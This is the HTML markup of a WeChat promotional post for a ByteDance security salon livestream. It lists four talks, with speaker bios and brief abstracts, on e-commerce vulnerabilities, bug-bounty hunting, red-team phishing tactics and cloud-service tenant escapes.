data-ratio="0.716" data-s="300,640" data-type="png" data-w="500" style="outline: 0px;vertical-align: middle;width: 23.9915px !important;visibility: visible !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=1b3b6a9f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FgAcolpf06Wrc9eRvZUmicIWcichwNSOeY32uts1iaHh7K0ulLCqQUx7sOl4gSIcMibHSQJ2ibZIKicT7xGrfVxJRiavwg%2F640%3Fwx_fmt%3Dother%26from%3Dappmsg%26tp%3Dwebp%26wxfrom%3D5%26wx_lazy%3D1%26wx_co%3D1"/></section></section></section></section></section></section></section></section></section></section><section style="color: rgb(76, 76, 76);font-size: 14px;margin-top: 10px;margin-bottom: 10px;outline: 0px;text-align: left;justify-content: flex-start;display: flex;flex-flow: row;"><section style="margin-right: -10px;outline: 0px;display: inline-block;vertical-align: top;width: auto;min-width: 5%;flex: 0 0 auto;height: auto;"><section style="margin-bottom: 10px;outline: 0px;text-align: center;line-height: 0;"><section style="outline: 0px;vertical-align: middle;display: inline-block;line-height: 0;width: 25px;height: auto;"><img class="rich_pages wxw-img" data-imgfileid="100004995" data-ratio="0.7923497267759563" data-s="300,640" data-type="gif" data-w="183" style="outline: 0px;vertical-align: middle;width: 25px !important;visibility: visible !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=23e147e2&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_gif%2FgAcolpf06Wrc9eRvZUmicIWcichwNSOeY3wj5sHNTqvI1iawysQ9UpBw7T5yYmER2ZtVQbB0s2b5QajKR9ZI1jdZg%2F640%3Fwx_fmt%3Dgif%26from%3Dappmsg%26tp%3Dwebp%26wxfrom%3D5%26wx_lazy%3D1%26wx_co%3D1"/></section></section></section><section style="outline: 0px;display: inline-block;vertical-align: top;width: auto;align-self: flex-start;flex: 0 0 auto;min-width: 5%;height: auto;"><section style="outline: 0px;display: flex;width: 48.679px;flex-flow: column;"><section style="outline: 0px;z-index: 1;"><section style="margin-top: 6px;margin-bottom: -15px;outline: 0px;"><section style="padding-right: 12px;padding-left: 12px;outline: 0px;text-align: center;font-size: 18px;color: rgb(35, 141, 255);"><p style="outline: 0px;"><strong style="outline: 0px;">01</strong></p></section></section></section></section><section style="margin-bottom: 5px;outline: 0px;justify-content: flex-start;display: flex;flex-flow: row;"><section style="outline: 0px;display: inline-block;width: 48.679px;vertical-align: top;align-self: flex-start;flex: 0 0 auto;border-style: solid;border-width: 1px;border-color: rgb(209, 238, 255);border-radius: 100%;overflow: hidden;background-color: rgb(240, 250, 255);"><section style="outline: 0px;text-align: justify;line-height: 1;"><p style="outline: 0px;"><br style="outline: 0px;"/></p></section></section></section></section><section style="padding-right: 10px;padding-left: 10px;outline: 0px;display: inline-block;vertical-align: middle;width: auto;align-self: center;min-width: 5%;flex: 0 0 auto;height: auto;"><section style="outline: 0px;text-align: justify;font-size: 16px;color: rgb(35, 141, 255);letter-spacing: 2px;"><p style="outline: 0px;"><strong style="outline: 0px;">抖音电商的漏洞发现与治理实践</strong></p></section></section></section><section style="color: rgb(76, 76, 76);font-size: 14px;outline: 0px;text-align: left;justify-content: flex-start;display: flex;flex-flow: row;"><section style="margin-left: 35px;padding-right: 15px;padding-left: 20px;outline: 0px;display: inline-block;vertical-align: top;width: auto;align-self: flex-start;flex: 100 100 0%;height: auto;border-left: 3px dashed rgb(209, 238, 255);"><section style="outline: 0px;text-align: justify;"><p style="outline: 0px;"><strong style="outline: 0px;">分享人：张义  抖音电商安全蓝军</strong></p><p style="outline: 0px;"><span style="outline: 0px;color: rgb(85, 85, 85);">｜主要从事抖音电商业务线的漏洞攻防工作</span></p><p style="outline: 0px;"><strong style="outline: 0px;"><br style="outline: 0px;"/></strong></p><p style="outline: 0px;"><span data-eleid="0" style="outline: 0px;white-space-collapse: preserve;">本次议题将与大家深入探讨抖音电商业务各个业务场景中存在的漏洞风险，并<strong style="outline: 0px;"><strong style="outline: 0px;"><span style="outline: 0px;color: rgb(72, 126, 252);">公开分享</span></strong></strong><strong style="outline: 0px;">电商安全团队</strong>是如何对电商业务包括<strong style="outline: 0px;">账号接管、RCE、薅羊毛、零元购</strong>在内的多个真实漏洞风险进行发现和治理，以应对不断演变的安全挑战。</span></p></section></section><section style="outline: 0px;display: inline-block;vertical-align: top;width: auto;align-self: flex-start;flex: 0 0 auto;min-width: 5%;height: auto;"><section style="outline: 0px;display: flex;width: 33.8494px;flex-flow: column;"><section style="outline: 0px;z-index: 1;"><section style="margin-top: -15px;outline: 0px;text-align: right;line-height: 0;"><section style="outline: 0px;vertical-align: middle;display: inline-block;line-height: 0;width: 25px;height: auto;"><img class="rich_pages wxw-img" data-imgfileid="100004996" data-ratio="1.171875" data-s="300,640" style="outline: 0px;vertical-align: middle;width: 25px !important;visibility: visible !important;" data-type="gif" data-w="640" src="https://wechat2rss.xlab.app/img-proxy/?k=73906353&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_gif%2FgAcolpf06Wrc9eRvZUmicIWcichwNSOeY3o1SglYsPjqojj0vJyk9AZlC11h2DkVlofnC4oib4jyMjAdDFHq1uITA%2F640%3Fwx_fmt%3Dgif%26from%3Dappmsg%26tp%3Dwebp%26wxfrom%3D5%26wx_lazy%3D1%26wx_co%3D1"/></section></section></section></section></section></section><section style="color: rgb(76, 76, 76);font-size: 14px;margin-top: 10px;margin-bottom: 10px;outline: 0px;text-align: left;justify-content: flex-start;display: flex;flex-flow: row;"><section style="margin-right: -10px;outline: 0px;display: inline-block;vertical-align: top;width: auto;min-width: 5%;flex: 0 0 auto;height: auto;"><section style="margin-bottom: 10px;outline: 0px;text-align: center;line-height: 0;"><section style="outline: 0px;vertical-align: middle;display: inline-block;line-height: 0;width: 25px;height: auto;"><img data-imgfileid="100004994" data-ratio="0.7923497267759563" data-s="300,640" data-type="gif" data-w="183" style="outline: 0px;vertical-align: middle;width: 25px !important;visibility: visible !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=23e147e2&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_gif%2FgAcolpf06Wrc9eRvZUmicIWcichwNSOeY3wj5sHNTqvI1iawysQ9UpBw7T5yYmER2ZtVQbB0s2b5QajKR9ZI1jdZg%2F640%3Fwx_fmt%3Dgif%26from%3Dappmsg%26tp%3Dwebp%26wxfrom%3D5%26wx_lazy%3D1%26wx_co%3D1"/></section></section></section><section style="outline: 0px;display: inline-block;vertical-align: top;width: auto;align-self: flex-start;flex: 0 0 auto;min-width: 5%;height: auto;"><section style="outline: 0px;display: flex;width: 48.679px;flex-flow: column;"><section style="outline: 0px;z-index: 1;"><section style="margin-top: 6px;margin-bottom: -15px;outline: 0px;"><section style="padding-right: 12px;padding-left: 12px;outline: 0px;text-align: center;font-size: 18px;color: rgb(35, 141, 255);"><p style="outline: 0px;"><strong style="outline: 0px;">02</strong></p></section></section></section></section><section style="margin-bottom: 5px;outline: 0px;justify-content: flex-start;display: flex;flex-flow: row;"><section style="outline: 0px;display: inline-block;width: 48.679px;vertical-align: top;align-self: flex-start;flex: 0 0 auto;border-style: solid;border-width: 1px;border-color: rgb(209, 238, 255);border-radius: 100%;overflow: hidden;background-color: rgb(240, 250, 255);"><section style="outline: 0px;text-align: justify;line-height: 1;"><p style="outline: 0px;"><br style="outline: 0px;"/></p></section></section></section></section><section style="padding-right: 10px;padding-left: 10px;outline: 0px;display: inline-block;vertical-align: middle;width: auto;align-self: center;min-width: 5%;flex: 0 0 auto;height: auto;"><section style="outline: 0px;text-align: justify;font-size: 16px;color: rgb(35, 141, 255);letter-spacing: 2px;"><p style="outline: 0px;"><strong style="outline: 0px;">安全治理视角下SRC漏洞的高效挖掘</strong></p></section></section></section><section style="color: rgb(76, 76, 76);font-size: 14px;outline: 0px;text-align: left;justify-content: flex-start;display: flex;flex-flow: row;"><section style="margin-left: 35px;padding-right: 15px;padding-left: 20px;outline: 0px;display: inline-block;vertical-align: top;width: auto;align-self: flex-start;flex: 100 100 0%;height: auto;border-left: 3px dashed rgb(209, 238, 255);"><section style="outline: 0px;text-align: justify;"><p style="outline: 0px;"><strong style="outline: 0px;">分享人：杨俊才 字节跳动无恒实验室安全工程师</strong></p><p style="outline: 0px;"><span style="outline: 0px;color: rgb(85, 85, 85);"><strong style="outline: 0px;">｜</strong>多年甲方安全建设经验，专注于风险治理</span></p><p style="outline: 0px;"><strong style="outline: 0px;"><br style="outline: 0px;"/></strong></p><p style="outline: 0px;">本次议题将结合字节跳动<strong style="outline: 0px;">内部漏洞治理经验</strong>，从甲方安全风险治理、业务的维度，与白帽子<strong style="outline: 0px;">共同探讨探索SRC<span style="outline: 0px;color: rgb(72, 126, 252);">如何高效挖洞</span></strong>，哪些是企业更加重视的漏洞，哪些是企业安全的薄弱点。</p></section></section><section style="outline: 0px;display: inline-block;vertical-align: top;width: auto;align-self: flex-start;flex: 0 0 auto;min-width: 5%;height: auto;"><section style="outline: 0px;display: flex;width: 33.8494px;flex-flow: column;"><section style="outline: 0px;z-index: 1;"><section style="margin-top: -15px;outline: 0px;text-align: right;line-height: 0;"><section style="outline: 0px;vertical-align: middle;display: inline-block;line-height: 0;width: 25px;height: auto;"><img class="rich_pages wxw-img" data-imgfileid="100004997" data-ratio="1.171875" data-s="300,640" style="outline: 0px;vertical-align: middle;width: 25px !important;visibility: visible !important;" data-type="gif" data-w="640" src="https://wechat2rss.xlab.app/img-proxy/?k=73906353&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_gif%2FgAcolpf06Wrc9eRvZUmicIWcichwNSOeY3o1SglYsPjqojj0vJyk9AZlC11h2DkVlofnC4oib4jyMjAdDFHq1uITA%2F640%3Fwx_fmt%3Dgif%26from%3Dappmsg%26tp%3Dwebp%26wxfrom%3D5%26wx_lazy%3D1%26wx_co%3D1"/></section></section></section></section></section></section><section style="color: rgb(76, 76, 76);font-size: 14px;margin-top: 10px;margin-bottom: 10px;outline: 0px;text-align: left;justify-content: flex-start;display: flex;flex-flow: row;"><section style="margin-right: -10px;outline: 0px;display: inline-block;vertical-align: top;width: auto;min-width: 5%;flex: 0 0 auto;height: auto;"><section style="margin-bottom: 10px;outline: 0px;text-align: center;line-height: 0;"><section style="outline: 0px;vertical-align: middle;display: inline-block;line-height: 0;width: 25px;height: auto;"><img data-imgfileid="100005000" data-ratio="0.7923497267759563" data-s="300,640" data-type="gif" data-w="183" style="outline: 0px;vertical-align: middle;width: 25px !important;visibility: visible !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=23e147e2&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_gif%2FgAcolpf06Wrc9eRvZUmicIWcichwNSOeY3wj5sHNTqvI1iawysQ9UpBw7T5yYmER2ZtVQbB0s2b5QajKR9ZI1jdZg%2F640%3Fwx_fmt%3Dgif%26from%3Dappmsg%26tp%3Dwebp%26wxfrom%3D5%26wx_lazy%3D1%26wx_co%3D1"/></section></section></section><section style="outline: 0px;display: inline-block;vertical-align: top;width: auto;align-self: flex-start;flex: 0 0 auto;min-width: 5%;height: auto;"><section style="outline: 0px;display: flex;width: 48.679px;flex-flow: column;"><section style="outline: 0px;z-index: 1;"><section style="margin-top: 6px;margin-bottom: -15px;outline: 0px;"><section style="padding-right: 12px;padding-left: 12px;outline: 0px;text-align: center;font-size: 18px;color: rgb(35, 141, 255);"><p style="outline: 0px;"><strong style="outline: 0px;">03</strong></p></section></section></section></section><section style="margin-bottom: 5px;outline: 0px;justify-content: flex-start;display: flex;flex-flow: row;"><section style="outline: 0px;display: inline-block;width: 48.679px;vertical-align: top;align-self: flex-start;flex: 0 0 auto;border-style: solid;border-width: 1px;border-color: rgb(209, 238, 255);border-radius: 100%;overflow: hidden;background-color: rgb(240, 250, 255);"><section style="outline: 0px;text-align: justify;line-height: 1;"><p style="outline: 0px;"><br style="outline: 0px;"/></p></section></section></section></section><section style="padding-right: 10px;padding-left: 10px;outline: 0px;display: inline-block;vertical-align: middle;width: auto;align-self: center;min-width: 5%;flex: 0 0 auto;height: auto;"><section style="outline: 0px;text-align: justify;font-size: 16px;color: rgb(35, 141, 255);letter-spacing: 2px;"><p style="outline: 0px;"><strong style="outline: 0px;">挂图作战</strong></p></section></section></section><section style="color: rgb(76, 76, 76);font-size: 14px;margin-bottom: 10px;outline: 0px;text-align: left;justify-content: flex-start;display: flex;flex-flow: row;"><section style="margin-left: 35px;padding-right: 15px;padding-left: 20px;outline: 0px;display: inline-block;vertical-align: top;width: auto;align-self: flex-start;flex: 100 100 0%;height: auto;border-left: 3px dashed rgb(209, 238, 255);"><section style="outline: 0px;text-align: justify;"><p style="outline: 0px;"><strong style="outline: 0px;">分享人：樊一博 长亭科技华北技术负责人</strong></p><p style="outline: 0px;"><strong style="outline: 0px;">｜</strong><span style="outline: 0px;color: rgb(85, 85, 85);">从事红蓝对抗/代码审计/应急响应研究工作，多次参与重大攻防演练活动并获得优异成绩</span></p><p style="outline: 0px;"><br style="outline: 0px;"/></p><p style="outline: 0px;">国家级红蓝演习行动日益重要，本议题将<strong style="outline: 0px;">站在攻击者视角讲解<span style="outline: 0px;color: rgb(72, 126, 252);">HW前期蓝军准备思路</span></strong>、常见入口攻击手法、钓鱼思路及案例、行业攻击技战法及真实案例。</p></section></section><section style="outline: 0px;display: inline-block;vertical-align: top;width: auto;align-self: flex-start;flex: 0 0 auto;min-width: 5%;height: auto;"><section style="outline: 0px;display: flex;width: 33.8494px;flex-flow: column;"><section style="outline: 0px;z-index: 1;"><section style="margin-top: -15px;outline: 0px;text-align: right;line-height: 0;"><section style="outline: 0px;vertical-align: middle;display: inline-block;line-height: 0;width: 25px;height: auto;"><img class="rich_pages wxw-img" data-imgfileid="100005002" data-ratio="1.171875" data-s="300,640" style="outline: 0px;vertical-align: middle;width: 25px !important;visibility: visible !important;" data-type="gif" data-w="640" src="https://wechat2rss.xlab.app/img-proxy/?k=73906353&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_gif%2FgAcolpf06Wrc9eRvZUmicIWcichwNSOeY3o1SglYsPjqojj0vJyk9AZlC11h2DkVlofnC4oib4jyMjAdDFHq1uITA%2F640%3Fwx_fmt%3Dgif%26from%3Dappmsg%26tp%3Dwebp%26wxfrom%3D5%26wx_lazy%3D1%26wx_co%3D1"/></section></section></section></section></section></section><section style="color: rgb(76, 76, 76);font-size: 14px;margin-top: 10px;margin-bottom: 10px;outline: 0px;text-align: left;justify-content: flex-start;display: flex;flex-flow: row;"><section style="margin-right: -10px;outline: 0px;display: inline-block;vertical-align: top;width: auto;min-width: 5%;flex: 0 0 auto;height: auto;"><section style="margin-bottom: 10px;outline: 0px;text-align: center;line-height: 0;"><section style="outline: 0px;vertical-align: middle;display: inline-block;line-height: 0;width: 25px;height: auto;"><img data-imgfileid="100004998" data-ratio="0.7923497267759563" data-s="300,640" data-type="gif" data-w="183" style="outline: 0px;vertical-align: middle;width: 25px !important;visibility: visible !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=23e147e2&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_gif%2FgAcolpf06Wrc9eRvZUmicIWcichwNSOeY3wj5sHNTqvI1iawysQ9UpBw7T5yYmER2ZtVQbB0s2b5QajKR9ZI1jdZg%2F640%3Fwx_fmt%3Dgif%26from%3Dappmsg%26tp%3Dwebp%26wxfrom%3D5%26wx_lazy%3D1%26wx_co%3D1"/></section></section></section><section style="outline: 0px;display: inline-block;vertical-align: top;width: auto;align-self: flex-start;flex: 0 0 auto;min-width: 5%;height: auto;"><section style="outline: 0px;display: flex;width: 48.679px;flex-flow: column;"><section style="outline: 0px;z-index: 1;"><section style="margin-top: 6px;margin-bottom: -15px;outline: 0px;"><section style="padding-right: 12px;padding-left: 12px;outline: 0px;text-align: center;font-size: 18px;color: rgb(35, 141, 255);"><p style="outline: 0px;"><strong style="outline: 0px;">04</strong></p></section></section></section></section><section style="margin-bottom: 5px;outline: 0px;justify-content: flex-start;display: flex;flex-flow: row;"><section style="outline: 0px;display: inline-block;width: 48.679px;vertical-align: top;align-self: flex-start;flex: 0 0 auto;border-style: solid;border-width: 1px;border-color: rgb(209, 238, 255);border-radius: 100%;overflow: hidden;background-color: rgb(240, 250, 255);"><section style="outline: 0px;text-align: justify;line-height: 1;"><p style="outline: 0px;"><br style="outline: 0px;"/></p></section></section></section></section><section style="padding-right: 10px;padding-left: 10px;outline: 0px;display: inline-block;vertical-align: middle;width: auto;align-self: center;min-width: 5%;flex: 0 0 auto;height: auto;"><section style="outline: 0px;text-align: justify;font-size: 16px;color: rgb(35, 141, 255);letter-spacing: 2px;"><p style="outline: 0px;"><strong style="outline: 0px;">云服务常见漏洞分享 </strong></p></section></section></section><section style="color: rgb(76, 76, 76);font-size: 14px;margin-bottom: 10px;outline: 0px;text-align: left;justify-content: flex-start;display: flex;flex-flow: row;"><section style="margin-left: 35px;padding-right: 15px;padding-left: 20px;outline: 0px;display: inline-block;vertical-align: top;width: auto;align-self: flex-start;flex: 100 100 0%;height: auto;border-left: 3px dashed rgb(209, 238, 255);"><section style="outline: 0px;text-align: justify;"><p style="outline: 0px;"><strong style="outline: 0px;">分享人：</strong><strong style="outline: 0px;">target1a  高级安全工程师、ByteSRC核心白帽</strong></p><p style="outline: 0px;"><span style="outline: 0px;color: rgb(85, 85, 85);">｜</span><span style="outline: 0px;white-space-collapse: preserve;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">多个容器逃逸、数据库组件逃逸、数据库集群接管的漏洞挖掘者，单</span><span style="outline: 0px;white-space-collapse: preserve;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">漏洞赏金</span><span style="outline: 0px;white-space-collapse: preserve;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">大于5万元</span></p><p style="outline: 0px;"><br style="outline: 0px;"/></p><p style="outline: 0px;"><span data-eleid="9" style="outline: 0px;white-space-collapse: preserve;">target1a聚焦在“云服务”独特的攻击面和潜在的安全问题。<strong style="outline: 0px;">分享不同云服务模型下可能出现的攻击面及案例</strong>，例如：从数据库租户环境逃逸并实现云服务基础设施的控制、从而间接接管所有云租户的数据库。希望从实际案例出发帮助企业有效的进行<strong style="outline: 0px;"><strong style="outline: 0px;color: rgb(72, 126, 252);">云服务攻击面管理和风险监控</strong></strong></span><span style="outline: 0px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">。</span><span style="outline: 0px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"> </span></p></section></section><section style="outline: 0px;display: inline-block;vertical-align: top;width: auto;align-self: flex-start;flex: 0 0 auto;min-width: 5%;height: auto;"><section style="outline: 0px;display: flex;width: 33.8494px;flex-flow: column;"><section style="outline: 0px;z-index: 1;"><section style="margin-top: -15px;outline: 0px;text-align: right;line-height: 0;"><section style="outline: 0px;vertical-align: middle;display: inline-block;line-height: 0;width: 25px;height: auto;"><img class="rich_pages wxw-img" data-imgfileid="100005001" data-ratio="1.171875" data-s="300,640" style="outline: 0px;vertical-align: middle;width: 25px !important;visibility: visible !important;" data-type="gif" data-w="640" src="https://wechat2rss.xlab.app/img-proxy/?k=73906353&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_gif%2FgAcolpf06Wrc9eRvZUmicIWcichwNSOeY3o1SglYsPjqojj0vJyk9AZlC11h2DkVlofnC4oib4jyMjAdDFHq1uITA%2F640%3Fwx_fmt%3Dgif%26from%3Dappmsg%26tp%3Dwebp%26wxfrom%3D5%26wx_lazy%3D1%26wx_co%3D1"/></section></section></section></section></section></section><p style="color: rgb(76, 76, 76);font-size: 14px;outline: 0px;"><br style="outline: 0px;"/></p><section style="color: rgb(76, 76, 76);font-size: 14px;margin-top: 10px;outline: 0px;text-align: left;justify-content: flex-start;display: flex;flex-flow: row;"><section style="margin-left: 13px;outline: 0px;display: inline-block;width: auto;vertical-align: top;align-self: flex-start;flex: 100 100 0%;background-color: rgb(72, 126, 252);height: auto;"><section style="outline: 0px;justify-content: flex-start;display: flex;flex-flow: row;"><section data-lazy-bgimg="https://mmbiz.qpic.cn/sz_mmbiz_png/gAcolpf06Wrc9eRvZUmicIWcichwNSOeY3PDCu548wNSNAcFNpickibXj4x4KQv2ZVhuicBP7AdFq8YMuuuZldhvrlQ/640?wx_fmt=png&amp;from=appmsg" data-fail="0" style="outline: 0px;display: inline-block;width: 663.991px;vertical-align: top;align-self: flex-start;flex: 0 0 auto;background-position: 50% 50%;background-repeat: no-repeat;background-attachment: scroll;background-image: url(&#34;https://mmbiz.qpic.cn/sz_mmbiz_png/gAcolpf06Wrc9eRvZUmicIWcichwNSOeY3PDCu548wNSNAcFNpickibXj4x4KQv2ZVhuicBP7AdFq8YMuuuZldhvrlQ/640?wx_fmt=png&#34;);background-size: cover !important;"><section style="margin-top: 10px;margin-bottom: 10px;outline: 0px;justify-content: flex-start;display: flex;flex-flow: row;transform: translate3d(-13px, 0px, 0px);"><section style="padding-right: 6px;padding-left: 6px;outline: 0px;display: inline-block;vertical-align: middle;width: auto;min-width: 5%;flex: 0 0 auto;height: auto;background-color: rgb(53, 215, 255);align-self: center;"><section style="outline: 0px;text-align: justify;color: rgb(255, 255, 255);"><p style="outline: 0px;"><br style="outline: 0px;"/></p></section></section><section style="padding-right: 6px;padding-left: 6px;outline: 0px;display: inline-block;vertical-align: middle;width: auto;align-self: center;flex: 0 0 auto;min-width: 5%;height: auto;"><section style="outline: 0px;text-align: center;"><section style="outline: 0px;font-size: 20px;color: rgb(255, 255, 255);"><p style="outline: 0px;"><span style="outline: 0px;font-size: 16px;"><strong style="outline: 0px;">6月21日 14:00 火山直播</strong></span></p></section></section></section><section style="outline: 0px;display: inline-block;vertical-align: middle;width: auto;min-width: 5%;flex: 0 0 auto;height: auto;align-self: center;"><section style="margin-top: -5px;margin-bottom: -3px;outline: 0px;line-height: 0;"><section style="outline: 0px;vertical-align: middle;display: inline-block;line-height: 0;width: 24px;height: auto;"><img class="rich_pages wxw-img" data-imgfileid="100004999" data-ratio="0.716" data-s="300,640" data-type="png" data-w="500" style="outline: 0px;vertical-align: middle;width: 23.9915px !important;visibility: visible !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=1b3b6a9f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FgAcolpf06Wrc9eRvZUmicIWcichwNSOeY32uts1iaHh7K0ulLCqQUx7sOl4gSIcMibHSQJ2ibZIKicT7xGrfVxJRiavwg%2F640%3Fwx_fmt%3Dother%26from%3Dappmsg%26tp%3Dwebp%26wxfrom%3D5%26wx_lazy%3D1%26wx_co%3D1"/></section></section></section></section></section></section></section></section><section style="color: rgb(76, 76, 76);font-size: 14px;margin-bottom: 10px;outline: 0px;text-align: left;justify-content: flex-start;display: flex;flex-flow: row;"><section style="margin-left: 13px;padding: 20px;outline: 0px;display: inline-block;width: auto;vertical-align: top;align-self: flex-start;flex: 100 100 0%;height: auto;background-color: rgba(72, 126, 252, 0.09);"><section style="outline: 0px;text-align: center;"><p style="outline: 0px;">第14期字节跳动“安全范儿”技术沙龙</p><p style="outline: 0px;">不见不散！</p><p style="outline: 0px;"><strong style="outline: 0px;"><span style="outline: 0px;color: rgb(72, 126, 252);">扫码预约线上直播，参与活动抽奖</span></strong></p></section><section style="outline: 0px;line-height: 0;text-align: center;"><section style="outline: 0px;vertical-align: middle;display: inline-block;line-height: 0;width: 405.582px;height: auto;"><img class="rich_pages wxw-img" data-imgfileid="100005006" data-ratio="1" data-s="300,640" style="outline: 0px;vertical-align: middle;width: 405.582px !important;visibility: visible !important;" data-type="png" data-w="400" src="https://wechat2rss.xlab.app/img-proxy/?k=3c32a532&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FgAcolpf06Wrc9eRvZUmicIWcichwNSOeY3KibzG4fPs3icjPhSlDRicaHqf9YPYJwrhM35pAKeNibjakdHxCTSuonJ1Q%2F640%3Fwx_fmt%3Dother%26from%3Dappmsg%26tp%3Dwebp%26wxfrom%3D5%26wx_lazy%3D1%26wx_co%3D1"/></section></section><section style="margin-top: 10px;margin-bottom: 10px;outline: 0px;justify-content: flex-start;display: flex;flex-flow: row;"><section style="padding-right: 4px;outline: 0px;display: inline-block;vertical-align: middle;width: auto;align-self: center;flex: 0 0 0%;height: auto;line-height: 0;"><section style="outline: 0px;text-align: center;"><section style="outline: 0px;display: inline-block;width: 4px;height: 20px;vertical-align: top;overflow: hidden;background-color: rgb(54, 150, 235);"><svg viewBox="0 0 1 1" style="float:left;line-height:0;width:0;vertical-align:top;"></svg></section></section></section><section style="padding-right: 4px;outline: 0px;display: inline-block;vertical-align: middle;width: auto;align-self: center;flex: 0 0 0%;height: auto;line-height: 0;"><section style="outline: 0px;text-align: center;"><section style="outline: 0px;display: inline-block;width: 4px;height: 20px;vertical-align: top;overflow: hidden;background-color: rgb(54, 150, 235);"><svg viewBox="0 0 1 1" style="float:left;line-height:0;width:0;vertical-align:top;"></svg></section></section></section><section style="padding-right: 4px;outline: 0px;display: inline-block;vertical-align: middle;width: auto;align-self: center;flex: 0 0 0%;height: auto;line-height: 0;"><section style="outline: 0px;text-align: center;"><section style="outline: 0px;display: inline-block;width: 4px;height: 20px;vertical-align: top;overflow: hidden;background-color: rgb(54, 150, 235);"><svg viewBox="0 0 1 1" style="float:left;line-height:0;width:0;vertical-align:top;"></svg></section></section></section><section style="padding-right: 4px;outline: 0px;display: inline-block;vertical-align: middle;width: auto;align-self: center;flex: 0 0 0%;height: auto;line-height: 0;"><section style="outline: 0px;text-align: center;"><section style="outline: 0px;display: inline-block;width: 4px;height: 20px;vertical-align: top;overflow: hidden;background-color: rgb(54, 150, 235);"><svg viewBox="0 0 1 1" style="float:left;line-height:0;width:0;vertical-align:top;"></svg></section></section></section><section style="padding-right: 4px;outline: 0px;display: inline-block;vertical-align: middle;width: auto;align-self: center;flex: 0 0 0%;height: auto;line-height: 0;"><section style="outline: 0px;text-align: center;"><section style="outline: 0px;display: inline-block;width: 4px;height: 20px;vertical-align: top;overflow: hidden;background-color: rgb(54, 150, 235);"><svg viewBox="0 0 1 1" style="float:left;line-height:0;width:0;vertical-align:top;"></svg></section></section></section><section style="padding-right: 4px;outline: 0px;display: inline-block;vertical-align: middle;width: auto;align-self: center;flex: 0 0 0%;height: auto;line-height: 0;"><section style="outline: 0px;text-align: center;"><section style="outline: 0px;display: inline-block;width: 4px;height: 20px;vertical-align: top;overflow: hidden;background-color: rgb(54, 150, 235);"><svg viewBox="0 0 1 1" style="float:left;line-height:0;width:0;vertical-align:top;"></svg></section></section></section><section style="padding-right: 4px;outline: 0px;display: inline-block;vertical-align: middle;width: auto;align-self: center;flex: 0 0 0%;height: auto;line-height: 0;"><section style="outline: 0px;text-align: center;"><section style="outline: 0px;display: inline-block;width: 4px;height: 20px;vertical-align: top;overflow: hidden;background-color: rgb(54, 150, 235);"><svg viewBox="0 0 1 1" style="float:left;line-height:0;width:0;vertical-align:top;"></svg></section></section></section><section style="padding-left: 10px;outline: 0px;display: inline-block;vertical-align: middle;width: auto;align-self: center;flex: 100 100 0%;height: auto;"><section style="margin-top: 0.5em;margin-bottom: 0.5em;outline: 0px;"><section style="outline: 0px;background-color: rgb(54, 150, 235);height: 1px;"><svg viewBox="0 0 1 1" style="float:left;line-height:0;width:0;vertical-align:top;"></svg></section></section></section><section style="outline: 0px;display: inline-block;vertical-align: middle;width: auto;flex: 0 0 0%;height: auto;align-self: center;z-index: auto;line-height: 0;"><section style="outline: 0px;"><section style="outline: 0px;display: inline-block;width: 7px;height: 7px;vertical-align: top;overflow: hidden;border-width: 0px;border-radius: 112px;border-style: none;border-color: rgb(62, 62, 62);background-color: rgb(54, 150, 235);"><svg viewBox="0 0 1 1" style="float:left;line-height:0;width:0;vertical-align:top;"></svg></section></section></section></section><section style="outline: 0px;text-align: center;"><p style="outline: 0px;"><strong style="outline: 0px;">转发本文至朋友圈即可参与抽奖</strong></p><p style="outline: 0px;"><strong style="outline: 0px;"><br style="outline: 0px;"/></strong></p><p style="outline: 0px;"><img class="rich_pages wxw-img" data-galleryid="" data-imgfileid="100005003" data-ratio="1.0203703703703704" data-s="300,640" style="outline: 0px;width: 285px !important;visibility: visible !important;" data-type="png" data-w="1080" 